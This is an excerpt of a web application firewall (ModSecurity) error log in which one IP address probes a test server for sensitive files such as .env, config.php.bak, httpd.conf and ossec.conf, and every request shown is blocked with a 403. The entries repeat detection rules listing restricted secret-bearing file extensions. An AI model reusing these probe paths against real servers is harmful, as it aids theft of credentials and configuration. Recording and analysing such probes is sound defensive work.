[Sun Mar 01 20:26:04.611331 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/coinpayments/config.ini&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIUAAAAAg&quot;]
[Sun Mar 01 20:26:04.748319 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compliance/email_journal.conf&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIVgAAAAg&quot;]
[Sun Mar 01 20:26:04.748759 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compliance/email_journal.conf&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIVgAAAAg&quot;]
[Sun Mar 01 20:26:04.748928 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compliance/email_journal.conf&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIVgAAAAg&quot;]
[Sun Mar 01 20:26:04.862759 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf.d/00-default.conf&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIWwAAAAg&quot;]
[Sun Mar 01 20:26:04.863235 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf.d/00-default.conf&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIWwAAAAg&quot;]
[Sun Mar 01 20:26:04.863405 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf.d/00-default.conf&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIWwAAAAg&quot;]
[Sun Mar 01 20:26:04.908132 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/custom.ini&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIXQAAAAg&quot;]
[Sun Mar 01 20:26:04.908623 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/custom.ini&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIXQAAAAg&quot;]
[Sun Mar 01 20:26:04.908781 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/custom.ini&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIXQAAAAg&quot;]
[Sun Mar 01 20:26:04.930875 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/httpd.conf&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIXgAAAAg&quot;]
[Sun Mar 01 20:26:04.931417 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/httpd.conf&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIXgAAAAg&quot;]
[Sun Mar 01 20:26:04.931599 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/httpd.conf&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIXgAAAAg&quot;]
[Sun Mar 01 20:26:04.953521 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIXwAAAAg&quot;]
[Sun Mar 01 20:26:04.954040 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIXwAAAAg&quot;]
[Sun Mar 01 20:26:04.954215 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIXwAAAAg&quot;]
[Sun Mar 01 20:26:05.923932 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/node.conf&quot;] [unique_id &quot;aaSSzfgv7eN8rAXba7HIiQAAAAg&quot;]
[Sun Mar 01 20:26:05.924452 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/node.conf&quot;] [unique_id &quot;aaSSzfgv7eN8rAXba7HIiQAAAAg&quot;]
[Sun Mar 01 20:26:05.924613 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/node.conf&quot;] [unique_id &quot;aaSSzfgv7eN8rAXba7HIiQAAAAg&quot;]
[Sun Mar 01 20:26:06.458826 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wazuh/ossec.conf&quot;] [unique_id &quot;aaSSzuWvNlascZsmhrI4egAAAAY&quot;]
[Sun Mar 01 20:26:06.459324 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wazuh/ossec.conf&quot;] [unique_id &quot;aaSSzuWvNlascZsmhrI4egAAAAY&quot;]
[Sun Mar 01 20:26:06.459488 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wazuh/ossec.conf&quot;] [unique_id &quot;aaSSzuWvNlascZsmhrI4egAAAAY&quot;]
[Sun Mar 01 20:26:06.689295 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /contracts/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/contracts/.env&quot;] [unique_id &quot;aaSSzuWvNlascZsmhrI4hAAAAAY&quot;]
[Sun Mar 01 20:26:06.689580 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/contracts/.env&quot;] [unique_id &quot;aaSSzuWvNlascZsmhrI4hAAAAAY&quot;]
[Sun Mar 01 20:26:06.689749 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/contracts/.env&quot;] [unique_id &quot;aaSSzuWvNlascZsmhrI4hAAAAAY&quot;]
[Sun Mar 01 20:26:06.803573 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cfg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/controller/settings.cfg&quot;] [unique_id &quot;aaSSzuWvNlascZsmhrI4iQAAAAY&quot;]
[Sun Mar 01 20:26:06.804068 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/controller/settings.cfg&quot;] [unique_id &quot;aaSSzuWvNlascZsmhrI4iQAAAAY&quot;]
[Sun Mar 01 20:26:06.804243 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/controller/settings.cfg&quot;] [unique_id &quot;aaSSzuWvNlascZsmhrI4iQAAAAY&quot;]
[Sun Mar 01 20:26:06.826102 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag 